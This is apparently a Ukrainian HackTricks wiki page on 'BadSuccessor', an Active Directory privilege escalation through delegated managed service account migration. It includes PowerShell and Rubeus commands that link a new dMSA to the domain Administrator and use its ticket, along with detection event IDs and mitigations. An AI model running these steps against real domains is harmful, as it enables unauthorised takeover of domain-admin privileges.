BadSuccessor: Підвищення привілеїв через зловживання міграцією делегованих MSA

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

Делеговані облікові записи керованих служб (dMSA) є наступним поколінням облікових записів gMSA, які постачаються в Windows Server 2025. Легітимний робочий процес міграції дозволяє адміністраторам замінити старий обліковий запис (користувача, комп'ютера або службовий обліковий запис) на dMSA, при цьому прозоро зберігаючи дозволи. Робочий процес реалізується через PowerShell cmdlets, такі як Start-ADServiceAccountMigration та Complete-ADServiceAccountMigration, і спирається на два атрибути LDAP об'єкта dMSA:

  • msDS-ManagedAccountPrecededByLinkDN посилання на попередній (старий) обліковий запис.
  • msDS-DelegatedMSAState – стан міграції (0 = немає, 1 = в процесі, 2 = завершено).

Якщо зловмисник може створити будь-який dMSA всередині OU і безпосередньо маніпулювати цими 2 атрибутами, LSASS та KDC будуть розглядати dMSA як наступника пов'язаного облікового запису. Коли зловмисник потім аутентифікується як dMSA, він успадковує всі привілеї пов'язаного облікового запису – до Domain Admin, якщо обліковий запис адміністратора пов'язаний.

Цю техніку назвали BadSuccessor в Unit 42 у 2025 році. На момент написання жоден патч безпеки не доступний; лише зміцнення дозволів OU пом'якшує проблему.

Передумови атаки

  1. Обліковий запис, якому дозволено створювати об'єкти всередині Організаційної одиниці (OU) та має принаймні один з:
  • Create ChildmsDS-DelegatedManagedServiceAccount клас об'єктів
  • Create ChildAll Objects (загальне створення)
  1. Мережева підключеність до LDAP та Kerberos (стандартний сценарій приєднання до домену / віддалена атака).

Перерахунок вразливих OU

Unit 42 випустила допоміжний скрипт PowerShell, який аналізує дескриптори безпеки кожної OU та підкреслює необхідні ACE:

powershell
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local

Під капотом скрипт виконує пагінований LDAP пошук для (objectClass=organizationalUnit) і перевіряє кожен nTSecurityDescriptor на

  • ADS_RIGHT_DS_CREATE_CHILD (0x0001)
  • Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8 (об'єкт класу msDS-DelegatedManagedServiceAccount)

Кроки експлуатації

Як тільки знайдено записуваний OU, атака складається лише з 3 LDAP записів:

powershell
# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
-DNSHostName host.contoso.local \
-Path "OU=DelegatedOU,DC=contoso,DC=com"

# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}

# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}

Після реплікації зловмисник може просто увійти як attacker_dMSA$ або запитати Kerberos TGT – Windows створить токен попереднього облікового запису.

Автоматизація

Кілька публічних PoC обгортають весь робочий процес, включаючи отримання пароля та управління квитками:

Пост-експлуатація

powershell
# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>

# Access Domain Admin resources
dir \\DC01\C$

Виявлення та полювання

Увімкніть Аудит об'єктів на OUs та моніторте наступні події безпеки Windows:

  • 5137 – Створення об'єкта dMSA
  • 5136 – Модифікація msDS-ManagedAccountPrecededByLink
  • 4662 – Зміни конкретних атрибутів
  • GUID 2f5c138a-bd38-4016-88b4-0ec87cbb4919msDS-DelegatedMSAState
  • GUID a0945b2b-57a2-43bd-b327-4d112a4e8bd1msDS-ManagedAccountPrecededByLink
  • 2946 – Видача TGT для dMSA

Кореляція 4662 (модифікація атрибутів), 4741 (створення облікового запису комп'ютера/сервісу) та 4624 (наступний вхід) швидко виявляє активність BadSuccessor. Рішення XDR, такі як XSIAM, постачаються з готовими запитами (див. посилання).

Пом'якшення

  • Застосуйте принцип найменших привілеїв – делегуйте управління обліковими записами сервісів лише довіреним ролям.
  • Видаліть Create Child / msDS-DelegatedManagedServiceAccount з OUs, які не потребують цього явно.
  • Моніторте події з вказаними вище ідентифікаторами та сповіщайте про не-Tier-0 особи, які створюють або редагують dMSA.

Дивіться також

{{#ref}} golden-dmsa-gmsa.md {{#endref}}

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks